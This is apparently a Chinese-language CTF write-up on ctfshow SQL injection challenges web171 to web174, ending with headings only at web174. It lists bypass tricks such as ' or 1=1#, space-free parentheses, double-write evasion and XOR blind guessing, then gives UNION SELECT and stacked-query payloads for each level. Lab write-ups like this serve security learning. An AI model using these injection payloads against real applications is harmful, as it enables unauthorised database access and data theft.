方法
- 万能密码 ' or 1=1#
- MySQL 的注释有
--
- 猜表名,使用 like 猜 %flag% 配合 substr,利用 information_schema,updatexml
- MySQL双写绕过
- 括号去空格,比如 or 1=1 #改为or(1=1)#
- id 参数的异或,利用返回来匹配比如 1^1^(length(database()) == {}) 来猜测长度,再猜测数据库名
- MySQL 的函数,ascii substr database
web171
该处由
where username != 'flag'
可以大致判断出我们需要寻找一个username为flag的数据,而输入用户id 25又无法找到数据,所以我们可以直接构造一个或判断,让username就等于flag,就可以拿到。payload:
25' or username = 'flag
web172
代码
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
设想
- 先将所在 username 修改掉 (好像update行不通)
- 可以用UNION将select中的username字段给替换成自定义字符串
做题
尝试修改
UPDATE ctfshow_user2 SET username='boom' WHERE username='flag'
(不可行)payload: 66666666'; UPDATE ctfshow_user2 SET username='boom' WHERE username='flag'; --
尝试使用union
返回的数据中通过union将username中的flag替换掉。
union select 1,password from ctfshow_user2 where username='flag';
payload:
16666' union select 1,password from ctfshow_user2 where username='flag'; --
web173
做题
尝试
16666' union select id,1,password from ctfshow_user2 where username='flag'; --
无果,提示密码 not_here草,原来是表名改成了ctfshow_user3。。。
payload:
16666' union select id,1,password from ctfshow_user3 where username='flag'; --
web174
做题
参考资料
问
- concat 用法,基本函数 database() 等